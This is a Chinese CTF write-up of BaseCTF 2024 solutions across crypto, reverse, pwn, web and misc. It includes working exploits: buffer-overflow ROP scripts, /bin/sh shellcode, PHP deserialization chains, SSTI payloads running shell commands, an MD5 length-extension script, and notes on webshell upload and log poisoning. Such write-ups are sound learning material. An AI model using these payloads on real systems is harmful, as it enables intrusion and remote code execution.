本文最后更新于 2024年9月21日 下午
Week1 Crypto hello_crypto 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from Crypto.Util.number import long_to_bytesfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad key1 = 208797759953288399620324890930572736628 ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae' key = long_to_bytes(key1) my_aes = AES.new(key =key, mode =AES.MODE_ECB) decrypted_data = unpad(my_aes.decrypt(ciphertext), AES.block_size)print (decrypted_data)
ez_rsa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from Crypto.Util.number import long_to_bytes, inverseimport gmpy2 n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421 not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205 c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945 e = 65537 s = (not_phi - n - 4 ) // 2 discriminant = gmpy2.isqrt(s*s - 4 *n) p = (s + discriminant) // 2 q = (s - discriminant) // 2 phi = (p - 1 ) * (q - 1 ) d = inverse(e, phi) m = pow (c, d, n) decrypted_message = long_to_bytes(m)print (decrypted_message)
你会算md5吗 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import hashlibdef md5_hash (text ): return hashlib.md5(text.encode()).hexdigest() possible_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/" hashes = [ '9d5ed678fe57bcca610140957afab571' , '0cc175b9c0f1b6a831c399e269772661' , '03c7c0ace395d80182db07ae2c30f034' , 'e1671797c52e15f763380b45e841ec32' , '0d61f8370cad1d412f80b84d143e1257' , 'b9ece18c950afbfa6b0fdbfa4ff731d3' , '800618943025315f869e4e1f09471012' , 'f95b70fdc3088560732a5ac135644506' , '0cc175b9c0f1b6a831c399e269772661' , 'a87ff679a2f3e71d9181a67b7542122c' , '92eb5ffee6ae2fec3ad71c777531578f' , '8fa14cdd754f91cc6554c9e71929cce7' , 'a87ff679a2f3e71d9181a67b7542122c' , 'eccbc87e4b5ce2fe28308fd9f2a7baf3' , '0cc175b9c0f1b6a831c399e269772661' , 'e4da3b7fbbce2345d7772b0674a318d5' , '336d5ebc5436534e61d16e63ddfca327' , 'eccbc87e4b5ce2fe28308fd9f2a7baf3' , '8fa14cdd754f91cc6554c9e71929cce7' , '8fa14cdd754f91cc6554c9e71929cce7' , '45c48cce2e2d7fbdea1afc51c7c6ad26' , '336d5ebc5436534e61d16e63ddfca327' , 'a87ff679a2f3e71d9181a67b7542122c' , '8f14e45fceea167a5a36dedd4bea2543' , '1679091c5a880faf6fb5e6087eb1b2dc' , 'a87ff679a2f3e71d9181a67b7542122c' , '336d5ebc5436534e61d16e63ddfca327' , '92eb5ffee6ae2fec3ad71c777531578f' , '8277e0910d750195b448797616e091ad' , '0cc175b9c0f1b6a831c399e269772661' , 'c81e728d9d4c2f636f067f89cc14862c' , '336d5ebc5436534e61d16e63ddfca327' , '0cc175b9c0f1b6a831c399e269772661' , '8fa14cdd754f91cc6554c9e71929cce7' , 'c9f0f895fb98ab9159f51fd0297e236d' , 'e1671797c52e15f763380b45e841ec32' , 'e1671797c52e15f763380b45e841ec32' , 'a87ff679a2f3e71d9181a67b7542122c' , '8277e0910d750195b448797616e091ad' , '92eb5ffee6ae2fec3ad71c777531578f' , '45c48cce2e2d7fbdea1afc51c7c6ad26' , '0cc175b9c0f1b6a831c399e269772661' , 'c9f0f895fb98ab9159f51fd0297e236d' , '0cc175b9c0f1b6a831c399e269772661' , 'cbb184dd8e05c9709e5dcaedaa0495cf' ] decoded_flag = '' for hash_val in hashes: found = False for char in possible_chars: if md5_hash(char) == hash_val: decoded_flag += char found = True break if not found: decoded_flag += '?' print (f"Decoded flag: {decoded_flag} " )
十七倍 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <stdio.h> int main () { unsigned char cipher[] = { 98 , 113 , 163 , 181 , 115 , 148 , 166 , 43 , 9 , 95 , 165 , 146 , 79 , 115 , 146 , 233 , 112 , 180 , 48 , 79 , 65 , 181 , 113 , 146 , 46 , 249 , 78 , 183 , 79 , 133 , 180 , 113 , 146 , 148 , 163 , 79 , 78 , 48 , 231 , 77 }; unsigned char flag[40 ]; unsigned char inverse = 241 ; for (int i = 0 ; i < 40 ; i++) { flag[i] = (cipher[i] * inverse) % 256 ; } printf ("Decrypted flag: " ); for (int i = 0 ; i < 40 ; i++) { printf ("%c" , flag[i]); } printf ("\n" ); return 0 ; }
babypack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import long_to_byteswith open ('D:\\谷歌\\babypack\\output.txt' , 'r' ) as f: lines = f.readlines() a = eval (lines[0 ].strip().split('=' )[1 ]) c = int (lines[1 ].strip().split('=' )[1 ]) bin_m = []for i in range (len (a)): if c >= a[i]: bin_m.append('1' ) c -= a[i] else : bin_m.append('0' ) m = int ('' .join(bin_m), 2 ) flag = long_to_bytes(m)print (flag)
Re You are good at IDA 按照shift和f12进行查找最后拼接就行了
BaseCTF{Y0u_4Re_900d_47_id4}
UPX mini QmFzZUNURntIYXYzX0BfZzBvZF90MW0zISEhfQ==
base64解密
BaseCTF{Hav3_@_g0od_t1m3!!!}
ez_maze 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from collections import dequedef find_path (maze, start_pos, end_pos ): ROWS = len (maze) COLS = len (maze[0 ]) def move (pos, direction ): x, y = divmod (pos, COLS) if direction == 'd' : return pos + 1 elif direction == 's' : return pos + COLS elif direction == 'w' : return pos - COLS elif direction == 'a' : return pos - 1 return pos def is_valid (pos ): if pos < 0 or pos >= ROWS * COLS: return False x, y = divmod (pos, COLS) return maze[x][y] != '$' queue = deque([(start_pos, '' )]) visited = set () visited.add(start_pos) while queue: current_pos, path = queue.popleft() if current_pos == end_pos: return path for direction in 'dsaw' : new_pos = move(current_pos, direction) if is_valid(new_pos) and new_pos not in visited: visited.add(new_pos) queue.append((new_pos, path + direction)) return None maze = [ "x$$$$$$$$$$$$$$" , "&&&&&&$$$$$$$$$" , "&$&$$&$$&&&&&$$" , "&$&$$$&&$$$$&$$" , "&$$$&&&$$$$$&$$" , "&$$$&$&&$&$$$$$" , "&$$$&$&$$&&&$$$" , "&&&&&$&&&&$&$$$" , "$$$$$$&&&&&&$$$" , "$$$$$$&$$$$$$$$" , "$$$&&&&$$&&&$$$" , "$$$&&&&&&&$$$$$" , "$$$$$$$$$&$$&$$" , "$$$$$$$$$&$&$$$" , "$$$$$$&&&&&&&&y" ] ROWS = 15 COLS = 15 maze_1d = '' .join(maze) START = 0 END = (ROWS - 1 ) * COLS + (COLS - 1 ) path = find_path([maze_1d[i * COLS:(i + 1 ) * COLS] for i in range (ROWS)], START, END)if path: print (f"找到的路径:{path} " )else : print ("没有找到路径" )
最后进行MD5加密就行
BasePlus 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import base64 Secret = '/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC' def decode (encoded_str ): decoded_str = "" xor_str = "" .join(chr (ord (char) ^ 0xE ) for char in encoded_str) for i in range (0 , len (xor_str), 4 ): enc_chunk = xor_str[i:i+4 ] try : v15 = (Secret.index(enc_chunk[0 ]) << 2 ) | (Secret.index(enc_chunk[1 ]) >> 4 ) v16 = ((Secret.index(enc_chunk[1 ]) & 0xF ) << 4 ) | (Secret.index(enc_chunk[2 ]) >> 2 ) v17 = ((Secret.index(enc_chunk[2 ]) & 0x3 ) << 6 ) | Secret.index(enc_chunk[3 ]) decoded_str += chr (v15) if v16 != 0 : decoded_str += chr (v16) if v17 != 0 : decoded_str += chr (v17) except ValueError as e: print (f"Error processing chunk: {enc_chunk} - {e} " ) return None return decoded_str encoded_str = "lvfzBiZiOw7<lhF8dDOfEbmI]i@bdcZfEc^z>aD!" decoded_str = decode(encoded_str)if decoded_str is not None : print (f"Decoded string: {decoded_str} " )else : print ("Decoding failed due to an error." )
Ez Xor 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import structdef key_stream (key, length ): """生成与输入数据长度相同的key stream""" return bytes ([i ^ key[i % len (key)] for i in range (length)])def encrypt_decrypt (data, key_stream ): """对数据进行加密/解密操作""" return bytes ([data[i] ^ key_stream[len (data) - i - 1 ] for i in range (len (data))])def attempt_decryption (encrypted_data, key ): """尝试用给定的key解密数据""" key_stream_data = key_stream(key, len (encrypted_data)) decrypted = encrypt_decrypt(encrypted_data, key_stream_data) try : flag = decrypted.decode('ascii' ) if flag.startswith("Base" ): return flag, "可能的flag" else : return flag, "解密结果" except UnicodeDecodeError: return decrypted.hex (), "无法解码为ASCII,十六进制结果" def main (): encrypted_flag = ( b'\x01\x09\x05\x25\x26\x2D\x0B\x1D' b'\x24\x7A\x31\x20\x1E\x49\x3D\x67' b'\x4D\x50\x08\x25\x2E\x6E\x05\x34' b'\x22\x40\x3B\x25' ) key_value = 7499608 keys = [ struct.pack('<I' , key_value), struct.pack('>I' , key_value), struct.pack('<I' , key_value)[:3 ], struct.pack('>I' , key_value)[1 :], ] for i, key in enumerate (keys): print (f"\n尝试 key {i + 1 } : {key.hex ()} " ) result, status = attempt_decryption(encrypted_flag, key) print (f"{status} : {result} " )if __name__ == "__main__" : main()
Pwn 签个到吧 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * host = 'challenge.basectf.fun' port = 33292 p = remote(host, port) p.sendline(b'cat /flag' ) response = p.recvline()print (response.decode()) p.close()
echo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * host = 'challenge.basectf.fun' port = 40511 p = remote(host, port) p.sendline(b'echo $(</flag)' ) response = p.recvline()print (response.decode()) p.close()
我把她丢了 填充使其溢出调用到bin/sh,就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote("challenge.basectf.fun" , 49516 ) pop_rdi_ret=0x0000000000401196 main=0x000000000040124B payload=0x78 *b'a' +p64(pop_rdi_ret)+p64(0x0000000000402008 )+p64(0x000000000040120F )+p64(main) p.sendline(payload) p.interactive()
Re2text 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * p = remote("challenge.basectf.fun" , 30147 ) payload = b'a' * 0x28 +p64(0x40101A )+p64(0x4011a4 ) p.sendline(payload) p.interactive()
shellcode_level0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * p = remote('challenge.basectf.fun' , 49846 ) shellcode = ( b"\x48\x31\xc0" b"\x50" b"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" b"\x53" b"\x48\x89\xe7" b"\x48\x31\xf6" b"\x48\x31\xd2" b"\x48\x31\xc0" b"\xb0\x3b" b"\x0f\x05" ) p.sendline(shellcode) p.interactive()
web HTTP 是什么呀 ?basectf=we1c%2500me
Base=fl@g
base解密得到flag
喵喵喵´•ﻌ•`
md5绕过欸
A Dark Room 直接查看源码得到flag
upload 上传一句话木马,观看源码在uploads/,直接上传php即可
Aura 酱的礼物 混了个二血😋
前两个一个是php伪协议,一个直接输入
第三个
我是用的是@进行重定向,然后用我自己的vps开个端口进行拼接就行(理论上不需要这么复杂,只是最先想到这个办法
最后进行伪协议读取flag
// flag{c985afc7-50f1-44e5-87f0-221d081b9459} Aura 酱有拿到一血吗?
Misc 你也喜欢圣物吗 打开下来先用010打开图片看,底部有个base64的编码
提示去看LSB
利用stegsolve进行分析,得到key
解开第一层压缩包
第二层伪加密工具进行解密,打开进去滑到下面有个真的flag
根本进不去啊!
dig的命令是进行域信息搜索器,找txt得到flag
海上遇到了鲨鱼 利用wireshark打开,http找到php,里面有flag,进行简单的反转得到flag
正着看还是反着看呢? 利用python读取图片文件,然后反转图片进行逆向
将文件拖到虚拟机,进行foremost,里面有压缩包解压得到flag
Base 直接64,32进行解密
签到!DK 盾! 直接公众号发送就行
人生苦短,我用Python 其他部分都可以看着推,我这边放一下推算15 的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import itertools target_value = 41378751114180610 flag = 'BaseCTF{s1Mpl3_1s_l1Tt3r_Th4n_C0mPl3x}' charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_' def calculate_sum (chars ): return sum (ord (c) * 2024_08_15 ** idx for idx, c in enumerate (chars))for combo in itertools.product(charset, repeat=3 ): candidate = '' .join(combo) if calculate_sum(candidate) == target_value: flag = flag[:17 ] + candidate + flag[20 :] print (f"Found correct sequence: {candidate} " ) print (f"Correct flag: {flag} " ) break else : print ("No valid sequence found." ) target_value = 41378751114180610 flag = 'BaseCTF{s1Mpl3_1s_l1Tt3r_Th4n_C0mPl3x}' charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_' def calculate_sum (chars ): return sum (ord (c) * 2024_08_15 ** idx for idx, c in enumerate (chars))for combo in itertools.product(charset, repeat=3 ): candidate = '' .join(combo) if calculate_sum(candidate) == target_value: flag = flag[:17 ] + candidate + flag[20 :] print (f"Found correct sequence: {candidate} " ) print (f"Correct flag: {flag} " ) break else : print ("No valid sequence found." )
倒计时?海报! 配合stegsolve即可正确食用,一开始一直没写听说废眼,真正做的话十分钟以内估计就解决了附上各个对应的截图
BaseCTF{c0unt_d0wn_fro3_X_every_d@y_i5_re@11y_c0o1_@nd_h@rd_t0_do_1t_ev3ry_n1ght}
喵喵太可爱了 跟着幸运儿拿的flag
BaseCTF{m1a0_mi@o_1s_n0t_a_b3tr4yer_t0_t3l1_the_f1ag}
week2(以后只写web了,orz) web ez_ser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php highlight_file (__FILE__ );error_reporting (0 );class re { public $chu0 ; public function __toString ( ) { if (!isset ($this ->chu0)){ return "I can not believes!" ; } $this ->chu0->$nononono ; } }class web { public $kw ; public $dt ; public function __wakeup ( ) { echo "lalalla" .$this ->kw; } public function __destruct ( ) { echo "ALL Done!" ; } }class pwn { public $dusk ; public $over ; public function __get ($name ) { if ($this ->dusk != "gods" ){ echo "什么,你竟敢不认可?" ; } $this ->over->getflag (); } }class Misc { public $nothing ; public $flag ; public function getflag ( ) { eval ("system('cat /flag');" ); } }class Crypto { public function __wakeup ( ) { echo "happy happy happy!" ; } public function getflag ( ) { echo "you are over!" ; } }$ser = $_GET ['ser' ];unserialize ($ser );?>
构造exp
1 2 3 4 5 $exp = new web;$exp ->kw = new re;$exp ->kw->chu0 = new pwn;$exp ->kw->chu0->over = new Misc ;echo urlencode (serialize ($exp ));
一起吃豆豆 不能直接f12,可以用浏览器的开发者工具打开f12,看js代码
1 context.fillText (_LIFE ? atob ("QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==" ) : 'GAME OVER' , this .x , this .y );
base64解一下就出来了
Happy Birthday 尝试了一下发现要传pdf格式并且需要文件相同,可以参考我php绕过那篇文章,利用fastcoll.exe生成两个文件,得到flag
你听不到我的声音 这题考察的是这个函数没有直接的回显,可以重定向,利用>得到flag
Really EZ POP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php highlight_file (__FILE__ );class Sink { private $cmd = 'echo 123;' ; public function __toString ( ) { eval ($this ->cmd); } }class Shark { private $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } }class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } }class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } }if ($_POST ['nature' ]) { $nature = unserialize ($_POST ['nature' ]); }
构造exp
1 2 3 4 $exp = new Nature ;$exp ->sea = new Sea ;$exp ->sea->see = new Sink ;echo urlencode (serialize ($exp ));
RCEisamazingwithspace 过滤了空格,用常见的空格绕过就行
网上搜搜就行了,没什么好说的
数学大师 本体唯一的写脚本难度就是代码逻辑问题,本人写错的原因就是因为post了两次导致一直重复发包始终分数为1,就直接上exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport re url = 'http://challenge.basectf.fun:29992/' session = requests.Session() session.cookies.set ('PHPSESSID' , '7ovv17kbkuh5f6pr1d2tbk07qt' ) response = session.post(url) math = re.search(r'second (\d+.+?)\?' , response.text) math = math.group(1 ).strip() math = math.replace('÷' , '//' ).replace('×' , '*' ) answer = eval (math)for i in range (51 ): post_data = {'answer' : answer} post_response = session.post(url, data=post_data) math = re.search(r'second (\d+.+?)\?' , post_response.text) math = math.group(1 ).strip() math = math.replace('÷' , '//' ).replace('×' , '*' ) answer = eval (math) print (post_response.text)
所以你说你懂 MD5? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php session_start ();highlight_file (__FILE__ );$apple = $_POST ['apple' ];$banana = $_POST ['banana' ];if (!($apple !== $banana && md5 ($apple ) === md5 ($banana ))) { die ('加强难度就不会了?' ); }$apple = (string )$_POST ['appple' ];$banana = (string )$_POST ['bananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) == md5 ((string )$banana ))) { die ('难吗?不难!' ); }$apple = (string )$_POST ['apppple' ];$banana = (string )$_POST ['banananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) === md5 ((string )$banana ))) { die ('嘻嘻, 不会了? 没看直播回放?' ); }if (!isset ($_SESSION ['random' ])) { $_SESSION ['random' ] = bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )); }$random = $_SESSION ['random' ];echo md5 ($random );echo '<br />' ;$name = $_POST ['name' ] ?? 'user' ;if (substr ($name , -5 ) !== 'admin' ) { die ('不是管理员也来凑热闹?' ); }$md5 = $_POST ['md5' ];if (md5 ($random . $name ) !== $md5 ) { die ('伪造? NO NO NO!' ); }echo "看样子你真的很懂 MD5" ;echo file_get_contents ('/flag' );
第一层正常的数组绕过
第二层和第三层都强制转string了,可以利用到fastcoll来获得内容进行绕过,这里我直接用网上的了
1 appple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&bananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2&apppple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&banananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
最后一层已知$random的MD5值,可以控制name和md5的值,求等式进行绕过,通过了解知道是MD5长度拓展攻击
先前一直在找hashpump的一直不好用现在贴一个比较好用的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 from struct import pack, unpackfrom math import floor, sin""" MD5 Extension Attack ==================== @refs https://github.com/shellfeel/hash-ext-attack """ class MD5 : def __init__ (self ): self.A, self.B, self.C, self.D = \ (0x67452301 , 0xefcdab89 , 0x98badcfe , 0x10325476 ) self.r: list [int ] = \ [7 , 12 , 17 , 22 ] * 4 + [5 , 9 , 14 , 20 ] * 4 + \ [4 , 11 , 16 , 23 ] * 4 + [6 , 10 , 15 , 21 ] * 4 self.k: list [int ] = \ [floor(abs (sin(i + 1 )) * pow (2 , 32 )) for i in range (64 )] def _lrot (self, x: int , n: int ) -> int : return (x << n) | (x >> 32 - n) def update (self, chunk: bytes ) -> None : w = list (unpack('<' +'I' *16 , chunk)) a, b, c, d = self.A, self.B, self.C, self.D for i in range (64 ): if i < 16 : f = (b & c) | ((~b) & d) flag = i elif i < 32 : f = (b & d) | (c & (~d)) flag = (5 * i + 1 ) % 16 elif i < 48 : f = (b ^ c ^ d) flag = (3 * i + 5 ) % 16 else : f = c ^ (b | (~d)) flag = (7 * i) % 16 tmp = b + \ self._lrot((a + f + self.k[i] + w[flag]) & 0xffffffff , self.r[i]) a, b, c, d = d, tmp & 0xffffffff , b, c self.A = (self.A + a) & 0xffffffff self.B = (self.B + b) & 0xffffffff self.C = (self.C + c) & 0xffffffff self.D = (self.D + d) & 0xffffffff def extend (self, msg: bytes ) -> None : assert len (msg) % 64 == 0 for i in range (0 , len (msg), 64 ): self.update(msg[i:i + 64 ]) def padding (self, msg: bytes ) -> bytes : length = pack('<Q' , len (msg) * 8 ) msg += b'\x80' msg += b'\x00' * ((56 - len (msg)) % 64 ) msg += length return msg def digest (self ) -> bytes : return pack('<IIII' , self.A, self.B, self.C, self.D)def verify_md5 (test_string: bytes ) -> None : from hashlib import md5 as md5_hashlib def md5_manual (msg: bytes ) -> bytes : md5 = MD5() md5.extend(md5.padding(msg)) return md5.digest() manual_result = md5_manual(test_string).hex () hashlib_result = md5_hashlib(test_string).hexdigest() assert manual_result == hashlib_result, "Test failed!" def attack (message_len: int , known_hash: str , append_str: bytes ) -> tuple : md5 = MD5() previous_text = md5.padding(b"*" * message_len) current_text = previous_text + append_str md5.A, md5.B, md5.C, md5.D = unpack("<IIII" , bytes .fromhex(known_hash)) md5.extend(md5.padding(current_text)[len (previous_text):]) return current_text[message_len:], md5.digest().hex ()if __name__ == '__main__' : message_len = int (input ("[>] Input known text length: " )) known_hash = input ("[>] Input known hash: " ).strip() append_text = input ("[>] Input append text: " ).strip().encode() print ("[*] Attacking..." ) extend_str, final_hash = attack(message_len, known_hash, append_text) from urllib.parse import quote from base64 import b64encode print ("[+] Extend text:" , extend_str) print ("[+] Extend text (URL encoded):" , quote(extend_str)) print ("[+] Extend text (Base64):" , b64encode(extend_str).decode()) print ("[+] Final hash:" , final_hash)
通过对源码的分析得知random的长度应该是96
然后填入就好了
week3 web ez_php_jail 这题搜一下其实挺有意思的,应该是从这篇文章进行微调出的题目,ringzer0 CTF - Jail Escaping PHP ,具体应该是对应level4的那个题目
打开查看源码进行base64解密,进入可以查看phpinfo(),得到了php版本是7.4,以及一些disable_functions
直接利用文章构造payload,其外根据php特性,在php小于8的情况下_
是直接转化成.
可以利用[
进行绕过
1 ?Jail[by.Happy=highlight_file(glob("/f*" )[0]);
复读机 有过滤的,手测一下
{{` `+` `-` `*` `}}
"
:
\
/
__
.
,接下来就是正常的RCE就行了
1 BaseCTF{%print ('' ['_' '_cla' 'ss_' '_' ]['_' '_m' 'ro_' '_' ][1 ]['_' '_subcl' 'asses_' '_' ]()[137 ])%}
可以利用BaseCTF<class 'os._wrap_close'>
1 BaseCTF{%print ('' ['_' '_cla' 'ss_' '_' ]['_' '_m' 'ro_' '_' ][1 ]['_' '_subcl' 'asses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_gl' 'obals_' '_' ]['po' 'pen' ]('env' )['re' 'ad' ]())%}
看看环境,已知不能使用/
,可以切换根目录再读取
1 BaseCTF{%print ('' ['_' '_cla' 'ss_' '_' ]['_' '_m' 'ro_' '_' ][1 ]['_' '_subcl' 'asses_' '_' ]()[137 ]['_' '_in' 'it_' '_' ]['_' '_gl' 'obals_' '_' ]['po' 'pen' ]('cd $OLDPWD;cat flag' )['re' 'ad' ]())%}
滤个不停 这题和ctfshow的web4基本差不多,一开始我以为要从伪协议入手,还是要求的是服务器日志,用的是Nginx,存放在/var/log/nginx/access.log里面,让Datch赋值这个,然后在UA头里写马就行了
玩原神玩的 这题其实还是能研究很多的,我写代码的能力一直挺一般的,这个还是稍微考究一些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );error_reporting (0 );include 'flag.php' ;if (sizeof ($_POST ['len' ]) == sizeof ($array )) { ys_open ($_GET ['tip' ]); } else { die ("错了!就你还想玩原神?❌❌❌" ); }function ys_open ($tip ) { if ($tip != "我要玩原神" ) { die ("我不管,我要玩原神!😭😭😭" ); } dumpFlag (); }function dumpFlag ( ) { if (!isset ($_POST ['m' ]) || sizeof ($_POST ['m' ]) != 2 ) { die ("可恶的QQ人!😡😡😡" ); } $a = $_POST ['m' ][0 ]; $b = $_POST ['m' ][1 ]; if (empty ($a ) || empty ($b ) || $a != "100%" || $b != "love100%" . md5 ($a )) { die ("某站崩了?肯定是某忽悠干的!😡😡😡" ); } include 'flag.php' ; $flag [] = array (); for ($ii = 0 ;$ii < sizeof ($array );$ii ++) { $flag [$ii ] = md5 (ord ($array [$ii ]) ^ $ii ); } echo json_encode ($flag ); }
先看第一层写脚本爆
